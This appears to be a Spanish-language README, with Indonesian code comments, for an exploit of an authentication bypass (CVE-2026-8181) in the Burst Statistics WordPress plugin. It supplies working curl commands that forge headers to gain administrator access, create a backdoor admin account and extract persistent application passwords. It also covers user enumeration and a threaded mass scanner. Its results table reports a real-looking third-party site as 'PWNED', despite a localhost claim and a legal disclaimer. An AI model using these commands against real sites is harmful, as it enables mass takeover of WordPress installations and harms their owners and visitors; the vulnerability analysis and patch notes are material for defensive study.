
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Omisión de autenticación no autenticada para tomar control de cuenta de administrador | Prueba de Concepto
| Item | Detail |
|---|---|
| CVE ID | CVE-2026-8181 |
| Plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Versión Afectada | 3.4.0 – 3.4.1.1 |
| Versión Parcheada | 3.4.2 |
| CVSS Score | 9.8 (Critical) |
| Tipo | CWE-287: Improper Authentication |
| Vector de Ataque | Network / Remote / Unauthenticated |
| Instalaciones Activas | ~200,000+ |
| Descubridor | PRISM, Wordfence Threat Intelligence |
| Fecha de Publicación | 8 de mayo de 2026 |
La vulnerabilidad crítica Authentication Bypass en el plugin de WordPress Burst Statistics versiones 3.4.0 a 3.4.1.1 permite a un atacante sin autenticación obtener acceso completo de administrador de WordPress solo con conocer el nombre de usuario admin. La consecuencia es la toma de control total de la cuenta de administrador, incluyendo la creación de nuevas cuentas, modificación de contenido e instalación de plugins maliciosos.
La vulnerabilidad se encuentra en el método is_mainwp_authenticated() del archivo includes/Frontend/class-mainwp-proxy.php:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
Bug principal: wp_authenticate_application_password(null, $username, $password) devuelve null (no WP_Error) cuando Application Passwords no está disponible, lo que ocurre en:
wp_is_application_passwords_available() devuelve falseis_ssl() devuelve falseComo is_wp_error(null) = false, el código continúa a get_user_by('login', $username) que autentica solo basado en el nombre de usuario sin validación de contraseña alguna.
El método has_admin_access() se llama en el hook plugins_loaded (prioridad 9) en class-burst.php línea 118:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
Este hook se ejecuta ANTES del procesamiento de rutas de la API REST, por lo que wp_set_current_user() otorga permisos de administrador para TODA la solicitud — no solo para el endpoint de Burst.
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
Modo interactivo:
.txt, un dominio por línea)Formato targets.txt:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
Las pruebas se realizaron en WordPress 6.9 con Burst Statistics 3.4.1.1 (localhost):
| Objetivo | Resultado |
|---|---|
ausdermitte-binz.de | EXITOSO PWNED — Burst 3.4.1.1, bypass vía binzwpadmin, cuenta xenon1337 creada (ID:30) |
Las correcciones en la versión 3.4.2 abordan varios problemas:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option()wp_application_passwords meta de usuario)X-BURSTMAINWP: 1 desde IP externawp_users en busca de nuevas cuentas de administradorwp_options por transient burst_mainwp_app_token_*| Archivo | Descripción |
|---|---|
exploit_CVE-2026-8181.py | PoC exploit para objetivo único |
poc_CVE-2026-8181.py | Escáner masivo multi-objetivo con threading |
README.md | Esta documentación |
Esta herramienta y documentación son solo para pruebas de seguridad legítimas con permiso explícito. El uso no autorizado de sistemas que no sean de su propiedad o sin permiso por escrito es ilegal. El autor no se hace responsable por el mal uso.
| Prueba | Resultado | Evidencia |
|---|
Acceso a /wp/v2/users/me sin autenticación | FALLIDO | rest_not_logged_in |
| Acceso con headers de bypass | EXITOSO | Perfil de admin + correo + roles |
| Crear nueva cuenta de administrador | EXITOSO | ID de usuario 2, rol: administrator |
| Leer configuración de WordPress | EXITOSO | Título del sitio, correo del admin, URL |
| Obtener Application Password | EXITOSO | Token Base64 admin:password |
| Listar plugins instalados | EXITOSO | Lista completa con versiones |